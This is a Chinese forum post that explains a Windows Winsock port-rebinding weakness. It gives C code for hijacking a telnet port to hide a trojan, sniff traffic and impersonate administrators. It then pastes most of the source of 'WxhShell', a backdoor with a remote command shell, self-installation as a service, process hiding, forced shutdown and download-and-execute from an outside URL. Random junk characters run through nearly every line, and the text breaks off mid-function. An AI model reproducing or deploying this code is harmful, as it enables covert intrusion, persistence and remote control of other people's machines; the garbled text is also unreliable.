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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `fV$'u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7> ]C2!  
>5gzo6j/  
  saddr.sin_family = AF_INET; UD(#u3z  
K*}j1A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vSL{WT]m  
?-Z:N`YP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); HWU{521  
k %rP*b*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1M{#"t{6  
N|)V/no6  
  这意味着什么?意味着可以进行如下的攻击: VA%i_P,  
S\rfR N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  "O 'I  
ujh4cp  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &tOD  
g!8lW   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yLX#: nm  
.WPqK >79|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #lC{R^SL  
x M[#Ah)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \* #4  
.KSGma6]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?!66yn  
`qgJE_GC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Og npzN  
K!~ ](_W!  
  #include <>oW f  
  #include iau&k `b`  
  #include R}Y=!qjYE=  
  #include    :F\f}G3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   E;Hjw0M'k  
  int main() {cI<4><  
  { Ye6O!,R  
  WORD wVersionRequested; *~L]n4-  
  DWORD ret; t*#&y:RG  
  WSADATA wsaData; X9j+$X \j  
  BOOL val; =R"tnjR  
  SOCKADDR_IN saddr; N-|Jj?c  
  SOCKADDR_IN scaddr; bW|y -GM  
  int err; O5?Eb  
  SOCKET s; yB1>83!q  
  SOCKET sc; u2Obb`p S  
  int caddsize; ?rDwYG(u]@  
  HANDLE mt; qh 3f  
  DWORD tid;   xL"% 2nf  
  wVersionRequested = MAKEWORD( 2, 2 ); F)w83[5_d  
  err = WSAStartup( wVersionRequested, &wsaData ); 8IH gsW";  
  if ( err != 0 ) { I2T2'_I  
  printf("error!WSAStartup failed!\n"); k#&SWp=  
  return -1; .#J3UZ  
  } 0}V'\=F454  
  saddr.sin_family = AF_INET; M[{:o/]<  
   DPx,qM#h5O  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 J;`~ !g  
<hbbFL}|%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U8KY/!XZ  
  saddr.sin_port = htons(23); [  _$$P*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >xKRU5  
  { t@n (a  
  printf("error!socket failed!\n"); 0Kk*~gR?  
  return -1; pH [lj8S  
  } U;@jl?jnG  
  val = TRUE; Se`N5hQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 oUSG`g^P(M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gEsR-A!m  
  { j[cjQ]>~'  
  printf("error!setsockopt failed!\n"); 1n"X?K5;A  
  return -1; @k,(i=**  
  } 7p$*/5fk  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #O+]ydvT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B_2>Yt"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z B&Uhi  
Rp*t"HSaAW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~2431<YV  
  { PEIr-qs%D  
  ret=GetLastError(); BkfBFUDQ  
  printf("error!bind failed!\n"); !e `=UZe1  
  return -1; <GRf%zJ  
  } j.}V~Sp*  
  listen(s,2); Nk4_!  
  while(1) n #I}!x>2  
  { Kj 8 W  
  caddsize = sizeof(scaddr); =[+&({  
  //接受连接请求 5#\p>}[HG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *,*qv^  
  if(sc!=INVALID_SOCKET) iGk{8Da<  
  { {B.]w9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X)OP316yx  
  if(mt==NULL) Qu_T&  
  { VBJ]d|  
  printf("Thread Creat Failed!\n"); , ~X;M"U  
  break; `h!&->  
  } @F^L4 N':  
  } Y{|yB  
  CloseHandle(mt); q:EQ,  
  } 2kq@*}ys  
  closesocket(s); s.)w A`&&  
  WSACleanup(); T+h{Aeg  
  return 0; %iC63)(M  
  }   y03a\K5[KQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) b.*4RL  
  { @ -d4kg  
  SOCKET ss = (SOCKET)lpParam; wR4u}gb#q  
  SOCKET sc; j]O[I^5  
  unsigned char buf[4096]; 9z/_`Xd_  
  SOCKADDR_IN saddr; 3uG5b8?  
  long num; ZMg9Qt  
  DWORD val;  7`@?3?  
  DWORD ret; 0\nhg5]?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \Pmk`^T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )#~fS28j  
  saddr.sin_family = AF_INET; !!%nl_I(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m (:qZW  
  saddr.sin_port = htons(23); >C&<dO#i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M~F2cX W  
  { $ _Bu,;  
  printf("error!socket failed!\n"); / i2-h  
  return -1; 4(GgaQFO?  
  } WCTW#<izm  
  val = 100; C*e[CP@u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g 'a?  
  { 72vGfT2HtZ  
  ret = GetLastError(); =e-aZ0P  
  return -1; ,ri--<  
  } -L?% o_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8z8SwWS?  
  { 4$GRCq5N;  
  ret = GetLastError(); A;a(n\Sy  
  return -1; V9+"CB^  
  } Sc 3M#qm_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) C,vc aC?  
  { ,<r3Z$G  
  printf("error!socket connect failed!\n"); S{7ik,Gdg  
  closesocket(sc); 6x,=SW@4  
  closesocket(ss); >1pH 91c'  
  return -1; aq/Y}s?  
  } @<yc .>  
  while(1) x0$:"68PW  
  { 6ilC#yyp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  ^-*Tn  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9Sl|l.;!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cYy @  
  num = recv(ss,buf,4096,0); A<CXdt+t  
  if(num>0) ff./DMDafI  
  send(sc,buf,num,0); ^_h7!=W  
  else if(num==0) wK`ieHmp  
  break; `Mp7 })  
  num = recv(sc,buf,4096,0); M #=5u`h  
  if(num>0) ~2DV{dyj  
  send(ss,buf,num,0); ~w9 =Fd6  
  else if(num==0) MGKeD+=5  
  break; @mRrA#E#{  
  } k+r9h'd   
  closesocket(ss); cPaWJ+c  
  closesocket(sc); 9.OwH(Ax7  
  return 0 ; jy@i(@Z  
  } G$|;~'E  
J}_Dpb[L  
,3- -ERf  
========================================================== )^>XZ*eK  
t:s q*d  
下边附上一个代码,,WXhSHELL O0(Q0Ko  
F@'rP++4  
========================================================== RHl=$Hm.%  
v;}`?@G  
#include "stdafx.h" -@V"i~g<e  
FO>(QLlH  
#include <stdio.h> H?(SSL  
#include <string.h> KP d C9H  
#include <windows.h> :8-gm"awL5  
#include <winsock2.h> KW7? : x  
#include <winsvc.h> rbuL@= S@*  
#include <urlmon.h> j484b2uj1  
OC>_=i$ '  
#pragma comment (lib, "Ws2_32.lib") A r7mH4M  
#pragma comment (lib, "urlmon.lib") ,\9mAt1O  
+\8krA  
#define MAX_USER   100 // 最大客户端连接数 i@R$g~~-D  
#define BUF_SOCK   200 // sock buffer zvb} p  
#define KEY_BUFF   255 // 输入 buffer 9C)3 b3  
/b:t;0G  
#define REBOOT     0   // 重启 i|]Va44  
#define SHUTDOWN   1   // 关机 =Pb5b6Y@6  
5 -WRv;  
#define DEF_PORT   5000 // 监听端口 -0VA!3l  
Li-(p"  
#define REG_LEN     16   // 注册表键长度 oBNX8%5w  
#define SVC_LEN     80   // NT服务名长度 T'b/]&0Tio  
11y .z^  
// 从dll定义API =6:L+ V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T<e7(=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @-&(TRbZo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wAl}:|+n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uGUv~bE  
ZecvjbnVY  
// wxhshell配置信息 9+8!xwR:  
struct WSCFG { vuo'"^ =p0  
  int ws_port;         // 监听端口  I`'a'  
  char ws_passstr[REG_LEN]; // 口令 UUMdZ+7  
  int ws_autoins;       // 安装标记, 1=yes 0=no %V(N U_o  
  char ws_regname[REG_LEN]; // 注册表键名 uJam $V  
  char ws_svcname[REG_LEN]; // 服务名 mhi90Jc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pjHRV[`AP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D_n}p8blT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZAX0n!db3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $S=~YzO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ph#F<e(9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p;u 1{  
?cs]#6^  
}; + fd@K  
K%(XgXb(</  
// default Wxhshell configuration A6NxM8ybn+  
struct WSCFG wscfg={DEF_PORT, Ed^uA+D  
    "xuhuanlingzhe", {s8U7rmML  
    1, << ;HY}s  
    "Wxhshell", 7{An@hNh  
    "Wxhshell", t.E4Tqzc>  
            "WxhShell Service", Yb%-tv:  
    "Wrsky Windows CmdShell Service", .-KtB(t  
    "Please Input Your Password: ", { 8f+h  
  1, S'!q}|7X 3  
  "http://www.wrsky.com/wxhshell.exe", K4k~r!&OU  
  "Wxhshell.exe" M6jp1:ZH2q  
    }; ![@T iM  
)v52y8G-p  
// 消息定义模块 4j@i%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5K ,#4EOV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IObx^N_K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1O7]3&L@  
char *msg_ws_ext="\n\rExit."; rXY;m-  
char *msg_ws_end="\n\rQuit."; 6hM]%  
char *msg_ws_boot="\n\rReboot..."; )XP#W|;  
char *msg_ws_poff="\n\rShutdown..."; -.{oqs$  
char *msg_ws_down="\n\rSave to "; )>y k-  
f{igW?Ho  
char *msg_ws_err="\n\rErr!"; a;"Uz|rz  
char *msg_ws_ok="\n\rOK!"; 1^L`)Up  
\6lh `U  
char ExeFile[MAX_PATH]; ZMoJ#p(  
int nUser = 0; ^KkRF":  
HANDLE handles[MAX_USER]; @q&|MMLt  
int OsIsNt; ?L@@;tt  
WDE e$k4.  
SERVICE_STATUS       serviceStatus; e2k4[V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 79SqYe=&uy  
@n7t?9Bx  
// 函数声明 X%GD0h]X#  
int Install(void); s !#HZK  
int Uninstall(void); zb5N,!%r  
int DownloadFile(char *sURL, SOCKET wsh); aUW/1nQHa  
int Boot(int flag); kG)2%  
void HideProc(void); 6x_ T@  
int GetOsVer(void); 8M^wuRn  
int Wxhshell(SOCKET wsl); ieo|%N{'  
void TalkWithClient(void *cs); #e.jY_  
int CmdShell(SOCKET sock); X*sr  
int StartFromService(void); JBR[; zM  
int StartWxhshell(LPSTR lpCmdLine); !TP6=ks  
ohrw\<xsu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g4:VR:o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %5JW< 9  
-B1YZ/.rz"  
// 数据结构和表定义 co5y"yj_  
SERVICE_TABLE_ENTRY DispatchTable[] = xfq]9<  
{ F#(.v7Za  
{wscfg.ws_svcname, NTServiceMain}, ch@x]@-;A3  
{NULL, NULL} |JUe>E*  
}; tu\mFHvlg  
%won=TG8  
// 自我安装 LBiowd[  
int Install(void) m|pTn#*`  
{ Ue(r} *  
  char svExeFile[MAX_PATH]; x*.Ye 5Jb  
  HKEY key; ],8;eq%W)  
  strcpy(svExeFile,ExeFile); of9q"h  
cYGRy,'gH  
// 如果是win9x系统,修改注册表设为自启动 TH|?X0b  
if(!OsIsNt) { izCaB~{/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (/"thv5vT{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mZwi7s&u  
  RegCloseKey(key); q0&Wk"X%rr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z!fdx|PUX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /ZHO>LNN|  
  RegCloseKey(key); [?-]PZ  
  return 0; ZP"yq6!i  
    } `f@{Vcr% i  
  } P: n#S%  
} }wG,BB%N  
else { Fse['O~  
#c-b}.R  
// 如果是NT以上系统,安装为系统服务 #wF1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qh\YR\O  
if (schSCManager!=0) 2s 7mI'  
{ v"rl5x  
  SC_HANDLE schService = CreateService yI8 SQ$w0y  
  ( [*Q-nZ/L  
  schSCManager, -Q#o)o  
  wscfg.ws_svcname, C` pp  
  wscfg.ws_svcdisp, O@s{uZ|A6  
  SERVICE_ALL_ACCESS, h1# S+k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 80Ag  
  SERVICE_AUTO_START, e#.\^   
  SERVICE_ERROR_NORMAL, E#8_hT]5  
  svExeFile, gI)u}JX  
  NULL, + 3h`UF  
  NULL, !#?8BwnaZ  
  NULL, < kz[:n:  
  NULL, gQy~kctQ#  
  NULL +semfZ)  
  ); 22>;vM."  
  if (schService!=0) m%pBXXfGYj  
  { `)$`-Pw*  
  CloseServiceHandle(schService); NvQ%J+  
  CloseServiceHandle(schSCManager); H'EY)s Hi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i X%[YQ |  
  strcat(svExeFile,wscfg.ws_svcname); &UL_bG }  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M ?*Tf&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s"i~6})K<$  
  RegCloseKey(key); FI8k;4|V  
  return 0; #zt*xS[{0  
    } .5.8;/ /  
  } If;R?j0;Q  
  CloseServiceHandle(schSCManager); X"j>=DEX  
} 1* ^'\W.  
} dAL3.%  
! RPb|1Y}+  
return 1; 9${Xer'  
} \3aTaT?..  
7d ;pvhnH  
// 自我卸载 'z5h3J  
int Uninstall(void) \vCGU>UY  
{ DI,K(_@G  
  HKEY key; i.y=8GxY  
h0Ee?=  
if(!OsIsNt) { B_ k2u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DK6? E\<  
  RegDeleteValue(key,wscfg.ws_regname); b}@(m$W  
  RegCloseKey(key); *tc{vtuu~^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %v{1# ~u  
  RegDeleteValue(key,wscfg.ws_regname); Ly7!R$X  
  RegCloseKey(key); H-I{-Fm  
  return 0; /ZW&0 E  
  } _9@ >;]  
} >.<ooWw  
} YTQps&mD.  
else { J-V49X#  
"'a* [%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B[F-gq-  
if (schSCManager!=0) Gf0,RH+  
{ 02\JzBU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S@xXq{j  
  if (schService!=0) pzhl*ss"6  
  { gcf6\f}\<  
  if(DeleteService(schService)!=0) { Dx-KMiQ,"(  
  CloseServiceHandle(schService); q+ pOrGh  
  CloseServiceHandle(schSCManager); U>P|X=)  
  return 0; \4{2eU  
  } qaVy.  
  CloseServiceHandle(schService); ;:mu}  
  } DG[%Nhle  
  CloseServiceHandle(schSCManager); # ??%B  
} PB9/m-\H  
} uP@\#/4u  
}gGkV]  
return 1; A\AT0th  
} (UYF%MA}"  
0 [8=c&F  
// 从指定url下载文件 aDL*W@1S  
int DownloadFile(char *sURL, SOCKET wsh) *hdC?m. _  
{ <7XT\?%F  
  HRESULT hr; {v` 2sB  
char seps[]= "/"; bk<FL6z z  
char *token; KrcgIB8X  
char *file; A6{b?aQ  
char myURL[MAX_PATH]; B=X,7  
char myFILE[MAX_PATH]; V&ot3- Rf  
C$9z  
strcpy(myURL,sURL); fD4ICO@  
  token=strtok(myURL,seps); 1A<,TFg  
  while(token!=NULL) q; ji w#_  
  { xHo&[{  
    file=token; *5V Xyt2  
  token=strtok(NULL,seps); }BJX/, H,  
  } VDGCWg6z  
3y A2WW  
GetCurrentDirectory(MAX_PATH,myFILE); bZ 443SG  
strcat(myFILE, "\\"); LL*mgTQ  
strcat(myFILE, file); |Au]1}  
  send(wsh,myFILE,strlen(myFILE),0); cz/Q/%j$/  
send(wsh,"...",3,0); .*YD&(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e3(/qMl  
  if(hr==S_OK) )92r{%N  
return 0; ;V5yXNQ   
else ~9\zWRh  
return 1; 5x8+xw3Eh  
# 1.YKo  
} <F=9*.@D   
6oD\-H  
// 系统电源模块 j&R+2%  
int Boot(int flag) 58V[mlW)O0  
{ 9 QC.TG@  
  HANDLE hToken; 51B lM%  
  TOKEN_PRIVILEGES tkp; [I;^^#'P  
G?c-79]U  
  if(OsIsNt) { g I]GUD-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w5=tlb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^|MjJsn  
    tkp.PrivilegeCount = 1; u3 0s_\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I5m][~6.?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eqAW+Ptx  
if(flag==REBOOT) { zj{r^D$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !g!5_ |  
  return 0; 1.<q3q  
} Z{6kWA3Kk  
else { E#wS_[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gJ$K\[+  
  return 0; "&.S&=FlI  
} Dnf*7)X  
  } LE6.nmvS  
  else { ^' M>r (t  
if(flag==REBOOT) { q`NXJf=sc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {'En\e  
  return 0; Hu3wdq  
} [U, ?R  
else { p>vU?eF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mTNB88p8^D  
  return 0; <^?1uzxH8A  
} @=j WHS  
} cTTW06^  
3*UR3!Z9 *  
return 1; LUX*P7*B  
} D]G)j  
ao_4mSB  
// win9x进程隐藏模块 jnB~sbyA  
void HideProc(void) EZ;"'4;W  
{ :#k &\f-Y  
]i<[d ,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KnhoaBB  
  if ( hKernel != NULL ) 5q9s,r_  
  { r KH:[lK m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2 dp>Z",  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wr(*?p]R  
    FreeLibrary(hKernel); =Z=o#46JY  
  } a, Q#Dk  
ZK;zm  
return; 1NQbl+w#I  
} lKWPTCU  
~S,p?I  
// 获取操作系统版本 za Tb~#c_  
int GetOsVer(void) @yd4$Mv8%  
{ ]?O2:X  
  OSVERSIONINFO winfo; @Jm7^;9/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 05yZad*  
  GetVersionEx(&winfo); P 3MhU;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [r+ZE7$2b"  
  return 1; hpTDxh'?$C  
  else :cu #V  
  return 0; $$b 9&mTl#  
} m5mu:  
6DG@?O  
// 客户端句柄模块 p'7*6bj1  
int Wxhshell(SOCKET wsl) O,aS`u &  
{ 2{-ZD ,(u7  
  SOCKET wsh; I&n  
  struct sockaddr_in client; X@@8"@/u|*  
  DWORD myID; yRp"jcD  
98=wnWX 6$  
  while(nUser<MAX_USER) H]4Hj  
{ KL$bqgc(p3  
  int nSize=sizeof(client); ^7zu<lX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }Sy=My89r  
  if(wsh==INVALID_SOCKET) return 1; n  -(  
Hbv6_H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m]i @ +C  
if(handles[nUser]==0) kmzH'wktt  
  closesocket(wsh); 3(C\.oRc  
else gs!(;N\j|  
  nUser++; .ERO|$fv  
  } I>L-1o|^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4DZ-bt'  
*5w{8  
  return 0; 4_Dp+^JF  
} ()&~@1U  
wtje(z5IL  
// 关闭 socket Eu"_MgD  
void CloseIt(SOCKET wsh) gbVdOm  
{ L "sO+4w  
closesocket(wsh); .bBdQpF-  
nUser--; Y0eE-5F,  
ExitThread(0); 4pw6bK,s2\  
} D %Xo&V[  
quY:pqG38q  
// 客户端请求句柄 MSf;ZB  
void TalkWithClient(void *cs) ;M"9$M'  
{ N F)~W#  
:y7c k/>  
  SOCKET wsh=(SOCKET)cs; w$JvB5O  
  char pwd[SVC_LEN]; Eke5Nb  
  char cmd[KEY_BUFF]; 6Gf?m;  
char chr[1]; 2eMTxwt*S  
int i,j; jLg9H/w{  
A}eOFu`  
  while (nUser < MAX_USER) { *_>Lmm.yh  
B)d(TP,>  
if(wscfg.ws_passstr) { /SYw;<=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )GHq/:1W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <&C]s b  
  //ZeroMemory(pwd,KEY_BUFF); iY21Ql%  
      i=0; *z@>!8?  
  while(i<SVC_LEN) { j?'GZ d"B  
98^V4maR:  
  // 设置超时 t!RiUZAo  
  fd_set FdRead; !47n[Zs  
  struct timeval TimeOut; <[w=TdCPs  
  FD_ZERO(&FdRead); ]+X@ 7  
  FD_SET(wsh,&FdRead); t.mVO]dsj  
  TimeOut.tv_sec=8; -GxaV #{  
  TimeOut.tv_usec=0; B}^w_C2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Hh+ 2mkg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eM8}X[  
'- zD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dAuJXGo  
  pwd=chr[0]; 82l~G;.n3  
  if(chr[0]==0xd || chr[0]==0xa) { &jmRA';sK  
  pwd=0; K6R.@BMN  
  break; 41&\mx  
  } p, #o<W  
  i++; ob8qe,_'  
    } 4:FK;~wM&x  
~@}Bi@*  
  // 如果是非法用户,关闭 socket 5{g?,/(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %7|9sQ:  
} rW$[DdFA5{  
s0vDHkf8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \-g)T}g,I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |ZmUNiAa  
VVlr*`  
while(1) { z4N*b"QF  
wpN=,&!  
  ZeroMemory(cmd,KEY_BUFF); q@{Bt{$x  
GWfL  
      // 自动支持客户端 telnet标准   5 sX+~Q  
  j=0; \kZ?  
  while(j<KEY_BUFF) { ez| )ph7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]9^sa-8  
  cmd[j]=chr[0]; ~sh`r{0  
  if(chr[0]==0xa || chr[0]==0xd) { ?32&]iM oW  
  cmd[j]=0; w(L4A0K[  
  break; E 7{U |\  
  } DA\2rLs  
  j++; j:v@pzTD  
    } fb~ytl<  
HAa; hb  
  // 下载文件 yU*8|FQbP  
  if(strstr(cmd,"http://")) { Fe4(4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p>huRp^w  
  if(DownloadFile(cmd,wsh)) h'{ C[d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x<ZJb  
  else -Fe?R*-g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #pnI\  
  } )P sY($ &  
  else { NPp;78O0[  
'd9INz.  
    switch(cmd[0]) { %#kg#@z_`e  
  /V'A%2Cl=T  
  // 帮助 9w7n1k.  
  case '?': {  tVN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "]} bFO7C  
    break; oG_~q w|h  
  } WvY? +JXJ  
  // 安装 %WjXg:R  
  case 'i': { fbe[@#:  
    if(Install()) MDnua  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  R[D{|K@"  
    else = %TWX[w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9dx/hFA  
    break; ) b (B  
    } <eWf<  
  // 卸载 [_EZhq  
  case 'r': { I=`U7Bis"  
    if(Uninstall()) V@g'#= {r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )6Fok3u  
    else uxr #QA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _ 9F9W{'  
    break; o6.^*%kM'  
    } W*2BT z  
  // 显示 wxhshell 所在路径 3[Qxd{8r  
  case 'p': { T4Pgbop  
    char svExeFile[MAX_PATH]; W')Yg5T  
    strcpy(svExeFile,"\n\r"); VY7[)  
      strcat(svExeFile,ExeFile); _l8 9  
        send(wsh,svExeFile,strlen(svExeFile),0); \!.B+7t=I  
    break; UM"- nZ>[  
    } 6a~|K-a6  
  // 重启 inMA:x}cF1  
  case 'b': { +~ P2C6@G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -(;26\lE  
    if(Boot(REBOOT)) KW pVw!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <h0?tv]  
    else { Swig;`  
    closesocket(wsh); s"r*YlSp"  
    ExitThread(0); G3Hx! YW  
    } Ng2twfSl$  
    break; \@c,3  
    } 52Z2]T c ,  
  // 关机 Yg||{  
  case 'd': { Ga^"1TZ x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  iu=7O  
    if(Boot(SHUTDOWN)) , /Z%@-rF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;n*.W|Uph  
